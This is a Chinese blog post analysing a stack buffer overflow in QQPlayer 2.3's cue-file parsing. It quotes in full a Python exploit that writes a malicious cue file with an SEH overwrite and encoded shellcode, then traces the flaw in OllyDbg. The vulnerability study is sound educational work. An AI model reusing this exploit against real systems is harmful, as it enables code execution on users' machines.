文件标题:QQPlayer 2.3 cue文件缓冲区溢出漏洞简单分析
作者:ReverseMan(http://hi.baidu.com/reverseman)
QQ:705122552
Email:fanxinghua2314@126.com
本文目录:
1、 发发牢骚
2、 漏洞原文
3、 调试环境
4、 CUE文件格式简介
5、 分析过程
6、 结果截图
7、 总结分析
1、发发牢骚
近日从exploit-db上看到了QQplayer的漏洞,受影响的版本主要是2.3以及以下的版本,官方最新的版本已经是2.4了。由于学习逆向不久,也基本上没有什么能够拿得出手的文章。再加上刚毕业入职,工作还不是很紧张。所以,闲暇之余萌生了分析一下这个漏洞的想法。由于本人入门不久,水平菜之又菜,只是一边分析一边学习的。中间不可避免有错误甚至是方向性的错误产生,还望多多海涵并批评指正。本文菜文,大牛飞过即可。
首先附上exploit-db上的相关信息:
2、漏洞原文
代码:
#!/usr/bin/env python ################################################################# # # Title: QQPlayer cue File Buffer Overflow Exploit # Author: Lufeng Li of Neusoft Corporation # Vendor: www.qq.com # Platform: Windows XPSP3 Chinese Simplified # Tested: QQPlayer 2.3.696.400 # Vulnerable: QQPlayer<=2.3.696.400p1 # ################################################################# # Code : head = '''FILE "''' junk = "A" * 780 nseh ="\x42\x61\x21\x61" seh ="\xa9\x9e\x41\x00" adjust="\x32\x42\x61\x33\xca\x83\xc0\x10" shellcode=("hffffk4diFkTpj02Tpk0T0AuEE2C4s4o0t0w174t0c7L0T0V7L2z1l131o2q1k2D1l081o" "0v1o0a7O2r0T3w3e1P0a7o0a3Y3K0l3w038N5L0c5p8K354q2j8N5O00PYVTX10X41PZ41" "H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2C5CJO1E0G1I4T1R2M0T1V7L1TKL2CK" "NK0KN2EKL08KN1FKO1Q7LML2N3W46607K7N684H310I9W025DOL1S905A4D802Z5DOO01") junk_="R"*8000 foot ='''.avi" VIDEO'''+"\x0a"'''TRACK 02 MODE1/8888'''+"\x0a"+"INDEX 08 08:08:08" payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot print len(shellcode)+len(adjust)+8+780-len("1S905A4D802Z5DOO01") fobj = open("poc.cue","w") fobj.write(payload) fobj.close()
Tools: OllyDbg1.1 NotePad
Target:QQPlayer 2.3 696
4、CUE文件格式简介 CUE文件是一种文本文件,主要是用作存放播放中的一些信息,这些信息用来帮助音频软件更好的控制播放进度以及其他一些附加的信息。在光盘文件中,它可以指挥刻录软件刻什么格式,刻录那些内容,从哪里开始,到哪里结束,附加什么信息等等。有了cue文件,既可以减少刻录的准备工作以提高刻录效率,又可以保证刻录的准确性。
CUE文件有一些关键的字段,下面介绍下各个字段的作用,本部分主要内容来自百度百科,更详细的内容请参考其上的内容。
第一行是:CATALOG
这个CATALOG是一个媒体编目码(Media Catalog Number),必须是13位阿拉伯数字,一般与唱片的UPC(商品条形码)相对应。该字段可选。
第二行是:PERformER
这个PERformER是指整个唱片的表演家的名字。必须用双引号括起来。这一行也是可选的。
第三行是:TITLE
TITLE是指唱片的名字。必须用双引号括起来。这一行也是可选的。
第四行是:FILE
FILE就是要播放的文件路径了,可以上绝对路径也可以是相对路径。该字段后面的文件路径用双引号括起来。并且该字段不可省略。
第五行是:TRACK 01 AUDIO
这一行很关键,它表示当前刻录那个光轨、光轨的类型。这里表示是第一个光轨,AUDIO表示光轨的类型是音频。当中这个数字必须是从01开始的2位阿拉伯数字,顺序排列,绝不可以跳跃、空缺或重复,一定是:01、02、03、04…..这样下去,直到结束。
第六、七行是指该曲目的表演家、曲目的名字,这两行都是可选的,也可以只有其中的一个。
第八行INDEX
这行表示光轨中段落的索引号。
从以上CUE文件格式分析可以得知,QQPlayer在验证.cue文件格式的时候会首先判断必选字段FILE是否存在以及后面的文件路径是否正确等。
理解上述内容,有助于我们理解下面的分析过程。
5、分析过程OD附加QQplayer主程序,并对CreateFileW下断。打开Poc.cue,OD断在CreateFileW处,Alt+F9返回主程序空间。可以看到如下的代码:
代码:
0042BBFC FF15 BC4F9800 call dword ptr ds:[<&MSVCR80.fopen>] ; MSVCR80.fopen 0042BC02 83C4 14 add esp,14 0042BC05 3BC7 cmp eax,edi 0042BC07 8946 04 mov dword ptr ds:[esi+4],eax 0042BC0A 0F84 BB000000 je QQPlayer.0042BCCB 0042BC10 8B9424 24010000 mov edx,dword ptr ss:[esp+124] 0042BC17 8B7A F4 mov edi,dword ptr ds:[edx-C] 0042BC1A 6A 2E push 2E 0042BC1C 8D8C24 28010000 lea ecx,dword ptr ss:[esp+128] 0042BC23 FF15 6C4C9800 call dword ptr ds:[<&MFC80U.#5524_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.78306777 0042BC29 2BF8 sub edi,eax 0042BC2B 57 push edi 0042BC2C 8D4424 0C lea eax,dword ptr ss:[esp+C] 0042BC30 50 push eax 0042BC31 8D8C24 2C010000 lea ecx,dword ptr ss:[esp+12C] 0042BC38 FF15 904C9800 call dword ptr ds:[<&MFC80U.#5558_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.78306AF3 0042BC3E 8D4C24 08 lea ecx,dword ptr ss:[esp+8] 0042BC42 C68424 1C010000>mov byte ptr ss:[esp+11C],7 0042BC4A FF15 A44C9800 call dword ptr ds:[<&MFC80U.#4074_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.783067C3 0042BC50 50 push eax 0042BC51 8D4C24 0C lea ecx,dword ptr ss:[esp+C] 0042BC55 FF15 B04C9800 call dword ptr ds:[<&MFC80U.#774_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wc>; MFC80U.7830609C 0042BC5B 68 78579800 push QQPlayer.00985778 ; UNICODE ".m3u",如果是.m3u文件 0042BC60 8D4C24 0C lea ecx,dword ptr ss:[esp+C] 0042BC64 FF15 804C9800 call dword ptr ds:[<&MFC80U.#1472_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.7830620D 0042BC6A 85C0 test eax,eax 0042BC6C 75 09 jnz short QQPlayer.0042BC77 0042BC6E 8BCE mov ecx,esi 0042BC70 E8 CBF6FFFF call QQPlayer.0042B340 0042BC75 EB 3D jmp short QQPlayer.0042BCB4 0042BC77 68 6C579800 push QQPlayer.0098576C ; UNICODE ".cue",如果是.cue文件 0042BC7C 8D4C24 0C lea ecx,dword ptr ss:[esp+C] 0042BC80 FF15 804C9800 call dword ptr ds:[<&MFC80U.#1472_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.7830620D 0042BC86 85C0 test eax,eax 0042BC88 75 10 jnz short QQPlayer.0042BC9A ;未跳转,进入下面的函数 0042BC8A 8BCE mov ecx,esi 0042BC8C E8 AFEAFFFF call QQPlayer.0042A740 ;跳转到此处 0042BC91 8BCE mov ecx,esi 0042BC93 E8 38EEFFFF call QQPlayer.0042AAD0 0042BC98 EB 1A jmp short QQPlayer.0042BCB4 0042BC9A 68 60579800 push QQPlayer.00985760 ; UNICODE ".asx",如果是.asx文件 0042BC9F 8D4C24 0C lea ecx,dword ptr ss:[esp+C] 0042BCA3 FF15 804C9800 call dword ptr ds:[<&MFC80U.#1472_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.7830620D 0042BCA9 85C0 test eax,eax 0042BCAB 75 07 jnz short QQPlayer.0042BCB4 0042BCAD 8BCE mov ecx,esi 0042BCAF E8 4CF4FFFF call QQPlayer.0042B100 0042BCB4 8B4E 04 mov ecx,dword ptr ds:[esi+4] 0042BCB7 51 push ecx 0042BCB8 FF15 B84F9800 call dword ptr ds:[<&MSVCR80.fclose>] ; MSVCR80.fclose 0042BCBE 83C4 04 add esp,4 0042BCC1 8D4C24 08 lea ecx,dword ptr ss:[esp+8] 0042BCC5 FF15 BC4C9800 call dword ptr ds:[<&MFC80U.#577_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wc>; MFC80U.78306092 0042BCCB 8D8C24 24010000 lea ecx,dword ptr ss:[esp+124] 0042BCD2 FF15 BC4C9800 call dword ptr ds:[<&MFC80U.#577_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wc>; MFC80U.78306092 0042BCD8 8B8C24 14010000 mov ecx,dword ptr ss:[esp+114] 0042BCDF 5F pop edi 0042BCE0 8BC6 mov eax,esi 0042BCE2 64:890D 0000000>mov dword ptr fs:[0],ecx 0042BCE9 5E pop esi 0042BCEA 81C4 18010000 add esp,118 0042BCF0 C2 0400 retn 4
跳转到QQPlayer.0042A740如下:
代码:
0042A740 6A FF push -1 0042A742 68 389D6700 push QQPlayer.00679D38 0042A747 64:A1 00000000 mov eax,dword ptr fs:[0] 0042A74D 50 push eax 0042A74E 64:8925 0000000>mov dword ptr fs:[0],esp 0042A755 83EC 54 sub esp,54 0042A758 53 push ebx 0042A759 56 push esi 0042A75A B8 01000000 mov eax,1 0042A75F 894424 0C mov dword ptr ss:[esp+C],eax 0042A763 894424 08 mov dword ptr ss:[esp+8],eax 0042A767 A1 B0569800 mov eax,dword ptr ds:[9856B0] 0042A76C 8D5424 28 lea edx,dword ptr ss:[esp+28] 0042A770 8BF1 mov esi,ecx 0042A772 8A0D B4569800 mov cl,byte ptr ds:[9856B4] 0042A778 52 push edx 0042A779 894424 14 mov dword ptr ss:[esp+14],eax 0042A77D 6A 04 push 4 0042A77F 8D4424 18 lea eax,dword ptr ss:[esp+18] 0042A783 33DB xor ebx,ebx 0042A785 884C24 1C mov byte ptr ss:[esp+1C],cl 0042A789 50 push eax 0042A78A 8BCE mov ecx,esi 0042A78C 895C24 34 mov dword ptr ss:[esp+34],ebx 0042A790 895C24 38 mov dword ptr ss:[esp+38],ebx 0042A794 E8 37BBFFFF call QQPlayer.004262D0 ; 验证文件格式,文件开始是否是 “FILE” 0042A799 85C0 test eax,eax 0042A79B 0F85 14030000 jnz QQPlayer.0042AAB5 0042A7A1 8B4C24 28 mov ecx,dword ptr ss:[esp+28] 0042A7A5 8B56 04 mov edx,dword ptr ds:[esi+4] 0042A7A8 57 push edi 0042A7A9 8B3D E44F9800 mov edi,dword ptr ds:[<&MSVCR80.fseek>] ; MSVCR80.fseek 0042A7AF 53 push ebx 0042A7B0 51 push ecx 0042A7B1 52 push edx 0042A7B2 FFD7 call edi ; 移动文件指针到字符串‘FILE’后,以方便后面进行后续的验证 0042A7B4 83C4 0C add esp,0C 0042A7B7 8D4424 2C lea eax,dword ptr ss:[esp+2C] 0042A7BB 50 push eax 0042A7BC 8D4E 08 lea ecx,dword ptr ds:[esi+8] 0042A7BF 51 push ecx 0042A7C0 6A 22 push 22 0042A7C2 8BCE mov ecx,esi 0042A7C4 E8 47ADFFFF call QQPlayer.00425510 ; 进入此函数 0042A7C9 85C0 test eax,eax 0042A7CB 0F85 E3020000 jnz QQPlayer.0042AAB4
代码:
00425510 64:A1 00000000 mov eax,dword ptr fs:[0] 00425516 6A FF push -1 00425518 68 DC996700 push QQPlayer.006799DC 0042551D 50 push eax 0042551E 64:8925 0000000>mov dword ptr fs:[0],esp 00425525 81EC 1C040000 sub esp,41C ; 分配栈空间大小为 0x41C,十进制 1052 0042552B 53 push ebx 0042552C 8B1D E44F9800 mov ebx,dword ptr ds:[<&MSVCR80.fseek>] ; MSVCR80.fseek 00425532 56 push esi 00425533 8BB424 3C040000 mov esi,dword ptr ss:[esp+43C] ;参数3 0042553A 57 push edi 0042553B 8BF9 mov edi,ecx 0042553D 8D49 00 lea ecx,dword ptr ds:[ecx] 00425540 8B47 04 mov eax,dword ptr ds:[edi+4] ; [edi+4]存放文件指针 00425543 50 push eax 00425544 6A 01 push 1 ; 每次读取大小 00425546 8D4C24 20 lea ecx,dword ptr ss:[esp+20] 0042554A 6A 01 push 1 ; 读取次数 0042554C 51 push ecx ; 读取内容的缓冲区地址 0042554D FF15 DC4F9800 call dword ptr ds:[<&MSVCR80.fread>] ; 函数功能:每次读取一个字节,用于寻找文件路径开始标志--->字符 ‘“’ 00425553 83C4 10 add esp,10 ; 平衡堆栈 00425556 83F8 01 cmp eax,1 00425559 0F85 51010000 jnz QQPlayer.004256B0 ; 已经读取到文件开始处,则跳转 0042555F 8A9424 38040000 mov dl,byte ptr ss:[esp+438] ; 读取特征值字符,下面进行匹配 00425566 385424 18 cmp byte ptr ss:[esp+18],dl ; 是否是文件路径开始符号'"' 0042556A 74 29 je short QQPlayer.00425595 ; 是,则跳转到下面函数读取路径 0042556C 0106 add dword ptr ds:[esi],eax 0042556E 8B06 mov eax,dword ptr ds:[esi] 00425570 6A 00 push 0 00425572 8356 04 00 adc dword ptr ds:[esi+4],0 00425576 8B57 04 mov edx,dword ptr ds:[edi+4] 00425579 8B4E 04 mov ecx,dword ptr ds:[esi+4] 0042557C 50 push eax 0042557D 52 push edx 0042557E 894C24 20 mov dword ptr ss:[esp+20],ecx 00425582 FFD3 call ebx 00425584 8B47 04 mov eax,dword ptr ds:[edi+4] 00425587 50 push eax 00425588 FF15 E04F9800 call dword ptr ds:[<&MSVCR80.feof>] ; 判断是否到达文件末尾 0042558E 83C4 10 add esp,10 00425591 85C0 test eax,eax 00425593 ^ 74 AB je short QQPlayer.00425540 00425595 55 push ebp 00425596 33ED xor ebp,ebp 00425598 8B4F 04 mov ecx,dword ptr ds:[edi+4] ; 读取文件指针 0042559B 51 push ecx 0042559C 6A 01 push 1 0042559E 8D5C2C 24 lea ebx,dword ptr ss:[esp+ebp+24] 004255A2 6A 01 push 1 004255A4 53 push ebx ; 存放文件路径的缓冲区地址 004255A5 FF15 DC4F9800 call dword ptr ds:[<&MSVCR80.fread>] ; 每次读取一个字节,直到碰到文件路径结束符 '"' 004255AB 83C4 10 add esp,10 004255AE 83F8 01 cmp eax,1 004255B1 0F85 FE000000 jnz QQPlayer.004256B5 004255B7 8A9424 3C040000 mov dl,byte ptr ss:[esp+43C] 004255BE 3813 cmp byte ptr ds:[ebx],dl ; 是否是文件路径结束符 '"' 004255C0 74 14 je short QQPlayer.004255D6 004255C2 8B47 04 mov eax,dword ptr ds:[edi+4] 004255C5 50 push eax 004255C6 83C5 01 add ebp,1 ; 记录读取的文件路径长度,读取结束时此值为 0x420 ,大于函数的栈空间 0x41C 。发生溢出 004255C9 FF15 E04F9800 call dword ptr ds:[<&MSVCR80.feof>] ; 是否到达文件末尾 004255CF 83C4 04 add esp,4 004255D2 85C0 test eax,eax 004255D4 ^ 74 C2 je short QQPlayer.00425598 004255D6 68 04010000 push 104 ; 0x104 十进制大小260 ,文件路径存放缓冲区大小 004255DB 8D8C24 24010000 lea ecx,dword ptr ss:[esp+124] ; 文件路径缓冲区地址 004255E2 6A 00 push 0 004255E4 51 push ecx 004255E5 E8 40541900 call <jmp.&MSVCR80.memset> ; 缓冲区填 0 004255EA 55 push ebp 004255EB 8D5424 2C lea edx,dword ptr ss:[esp+2C] 004255EF 52 push edx 004255F0 8D8424 34010000 lea eax,dword ptr ss:[esp+134] 004255F7 50 push eax 004255F8 E8 27541900 call <jmp.&MSVCR80.memcpy> ; 没有判断路径长度即进行拷贝,发生溢出,并覆盖了SEH地址 004255FD 8B3D 80419800 mov edi,dword ptr ds:[<&KERNEL32.MultiByteToWideChar>] ; kernel32.MultiByteToWideChar 00425603 83C4 18 add esp,18 00425606 6A 00 push 0 00425608 6A 00 push 0 0042560A 6A FF push -1 0042560C 8D8C24 2C010000 lea ecx,dword ptr ss:[esp+12C] 00425613 51 push ecx 00425614 6A 00 push 0 00425616 6A 00 push 0 00425618 FFD7 call edi ; 计算转换前所需要的空间大小 0042561A 68 06020000 push 206 0042561F 8D9424 2A020000 lea edx,dword ptr ss:[esp+22A] 00425626 6A 00 push 0 00425628 52 push edx 00425629 8BD8 mov ebx,eax 0042562B 66:C78424 30020>mov word ptr ss:[esp+230],0 00425635 E8 F0531900 call <jmp.&MSVCR80.memset> 0042563A 83C4 0C add esp,0C 0042563D 53 push ebx 0042563E 8D8424 28020000 lea eax,dword ptr ss:[esp+228] 00425645 50 push eax 00425646 6A FF push -1 00425648 8D8C24 2C010000 lea ecx,dword ptr ss:[esp+12C] 0042564F 51 push ecx 00425650 33DB xor ebx,ebx 00425652 53 push ebx 00425653 53 push ebx 00425654 FFD7 call edi ; 调用MultiByteToWideChar将窄字符转换成宽字符 00425656 8D9424 24020000 lea edx,dword ptr ss:[esp+224] 0042565D 52 push edx 0042565E 8D4C24 14 lea ecx,dword ptr ss:[esp+14] 00425662 FF15 B84C9800 call dword ptr ds:[<&MFC80U.#283_ATL::CStringT<wchar_t,St>; MFC80U.78305D94 00425668 8B8C24 40040000 mov ecx,dword ptr ss:[esp+440] 0042566F 8D4424 10 lea eax,dword ptr ss:[esp+10] 00425673 50 push eax 00425674 899C24 38040000 mov dword ptr ss:[esp+438],ebx 0042567B FF15 B04C9800 call dword ptr ds:[<&MFC80U.#774_ATL::CStringT<wchar_t,St>; MFC80U.7830609C;CStringT类的重载等号操作符内执行时引发异常, ;导致被覆盖过的SEH异常处理函数被调用,shellcode得已执行 00425681 83C5 02 add ebp,2 00425684 012E add dword ptr ds:[esi],ebp 00425686 8D4C24 10 lea ecx,dword ptr ss:[esp+10] 0042568A 115E 04 adc dword ptr ds:[esi+4],ebx 0042568D FF15 BC4C9800 call dword ptr ds:[<&MFC80U.#577_ATL::CStringT<wchar_t,St>; MFC80U.78306092 00425693 33C0 xor eax,eax 00425695 5D pop ebp 00425696 8B8C24 28040000 mov ecx,dword ptr ss:[esp+428] 0042569D 5F pop edi 0042569E 5E pop esi 0042569F 5B pop ebx 004256A0 64:890D 0000000>mov dword ptr fs:[0],ecx 004256A7 81C4 28040000 add esp,428 004256AD C2 0C00 retn 0C
6、结果截图
OD中 Alt + V选择“SHE Chain”,查看栈溢出之前的SHE结构
覆盖前的SHE链如下:
覆盖之后的栈结构:
相应的栈视图如下:
内存视图如下:
最终的溢出结果如下:
8、 总结分析:
由于QQPlayer官方已经升级,故我们只要升级至最新版本,即可防止该漏洞的威胁。从我学习别人的分析文章以及自己少量的自我研究中发现,一些C系列的函数,比如memcpy、strcpy等仍然是造成溢出漏洞的主要客户。因此,作为程序员,我们应该在认识到漏洞发生的本质的时候,提高自己对这类函数的警惕性,并在编程过程中加以注意应该能够在一定程度上提高自己产品的安全性。
最后,欢迎任何形式的转载